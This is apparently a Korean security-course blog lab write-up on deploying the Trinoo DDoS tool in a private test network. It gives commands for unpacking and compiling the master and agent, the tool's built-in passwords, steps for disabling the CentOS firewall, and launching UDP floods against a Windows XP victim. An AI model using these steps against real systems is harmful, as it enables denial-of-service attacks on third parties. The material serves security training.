<목차>
1. 목적
2. 사용 툴 & 구성 환경
3. 실습 과정
4. 결과 확인
1. 목적
공격자인 마스터가 에이전트에 명령을 내려 패킷을 생성하여 피해자에게 공격하는 방법이다.
2. 사용 툴 & 구성 환경
1) Trinoo : 마스터, 에이전트가 DDoS공격을 하기 위해 사용하는 툴이다. UDP를 기본으로 하는 공격을 시행하며 ‘statd, cmsd, ttdbserverd’ 데몬이 주 공격 대상이다. Trinoo는 기본적으로 아래 표와 같은 포트 번호를 사용하지만 소스 코드에서 임의로 변경이 가능하다. 32bit운영체제에서 주로 사용하며 64bit운영체제에서는 작동을 보장하지 않는다.
2) 구성 환경
IP | 운영 체제 | |
마스터 | 192.168.111.26 | Cent OS 6 |
에이전트 | 192.168.111.136 | Cent OS 6 |
피해자 | 192.168.111.29 | Windows XP |
3. 실습 과정
[root@ap ~]# mkdir trinoo
[root@ap ~]# mv trinoo.tar ./trinoo // trinoo.tar파일은 디렉토리안에 압축 해제가 되지 않기 때문에 디렉토리 생성후에 압축해제를 해야한다.
[root@ap ~]# cd trinoo
[root@ap trinoo]# ls
trinoo.tar
[root@ap trinoo]# tar xvf trinoo.tar // trinoo파일 압축 해제
password
BENSUQS
daemon/ns.c
master/master.c
master/strfix.h
master/Makefile
master/blowfish.c
master/blowfish.h
master/bf_tab.h
[root@ap trinoo]# cat password
master server startup: when ask for "??" .. gOrave // master프로그램 실행시 사용하는 비밀번호
telnet to master server: (port 27665) "betaalmostdone" // telnet접속시 사용하는 비밀번호
1) 마스터에서의 컴파일
[root@6-32 trinoo]# cd master
[root@6-32 master]# ls
Makefile bf_tab.h blowfish.c blowfish.h master.c strfix.h
[root@6-32 master]# make
gcc -o master master.c blowfish.c -lcrypt
blowfish.c: In function ‘blowfish_init’:
blowfish.c:131: warning: incompatible implicit declaration of built-in function ‘strncpy’
blowfish.c: In function ‘encrypt_string’:
blowfish.c:192: warning: incompatible implicit declaration of built-in function ‘strlen’
blowfish.c:194: warning: incompatible implicit declaration of built-in function ‘strcpy’
blowfish.c: In function ‘decrypt_string’:
blowfish.c:232: warning: incompatible implicit declaration of built-in function ‘strlen’
blowfish.c:234: warning: incompatible implicit declaration of built-in function ‘strcpy’
strip master
[root@6-32 master]# ls
Makefile bf_tab.h blowfish.c blowfish.h master master.c strfix.h
2) 에이전트에서의 컴파일
[root@ap trinoo]# cat daemon/ns.c
/* trinoo daemon */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
...
int getsock()
{
int i;
if ((i = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) != -1)
return i;
else
return -1;
}
[root@ap trinoo]# mv daemon/ns.c ./master/
[root@ap trinoo]# cd master
[root@ap master]# ls
Makefile bf_tab.h blowfish.c blowfish.h master.c strfix.h
[root@ap master]# vi Makefile
#slackware..
#LIBS=
LIBS= -lcrypt
master: master.c blowfish.c
gcc -o master master.c blowfish.c ${LIBS}
strip master
3) 에이전트에서 데몬을 실행시킨다.
[root@ap master]# ./daemon
[root@ap master]# ps -ax | grep daemon
548 ? Ss 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
551 ? Ssl 0:00 /usr/sbin/NetworkManager --no-daemon
747 ? Ssl 0:00 /usr/libexec/accounts-daemon
773 ? Ss 0:00 /usr/bin/dbus-daemon --fork --print-pid 5 --print-address 7 --session
781 ? S 0:00 /usr/bin/dbus-daemon --config-file=/usr/share/defaults/at-spi2/accessibility.conf --nofork --print-address 3
822 ? SNsl 0:00 /usr/libexec/rtkit-daemon
835 ? Sl 0:00 ibus-daemon --xim --panel disable
841 ? Sl 0:00 /usr/libexec/ibus-x11 --kill-daemon
1197 pts/0 S 0:00 ./daemon
1212 pts/0 S+ 0:00 grep --color=auto daemon
4) 공격자가 마스터를 실행시킨다.
[root@6-32 master]# ./master
?? gOrave
trinoo v1.07d2+f3+c [Mar 11 2020:17:30:30]
[root@6-32 master]# ps
PID TTY TIME CMD
1419 pts/0 00:00:00 bash
1472 pts/0 00:00:00 master
1473 pts/0 00:00:00 ps
5) 에이전트의 데몬이 실행됨을 확인하고, Telnet을 이용해 마스터에 접속한다.
4. 결과 확인
첫번째 시도는 패킷 전송시도까지는 이루어졌으나 Cent OS 7환경의 에이전트에서 작동이 되지 않아 Cent OS 6 환경을 다시 설치하였다. 하지만 에이전트로 사용할 Cent OS 6환경에서 방화벽이 활성화 되어 있어서 패킷이 전송되지 않았다.
/etc/init.d/iptables stop // Cent OS 6의 방화벽을 해제시킨다.
/etc/init.d/iptables status // Cent OS 6에서 방화벽의 상태를 확인한다.
Time부분을 보게되면 매우 짧은 시간 안에 적어도 2~6개 이상의 많은 수의 패킷이 피해자에게 전송된다. 하지만 공격하는 에이전트도 리소스를 많이 소모하여 정상적 사용이 불가능 할정도로 성능이 현저히 저하가된다.
참고로 Cent OS 7환경에서 실행하게 되면 daemon의 서비스가 강제 종료된다.
'교육 > Security' 카테고리의 다른 글
Day 74 (Web mitm) (0) | 2020.03.12 |
---|---|
Day 74 (TCP Hijacking) (2) | 2020.03.12 |
Day 73 (DoS Attack) (0) | 2020.03.11 |
Day 73 (Hidden Channel) (0) | 2020.03.11 |
Day 73 (Tunneling) (0) | 2020.03.11 |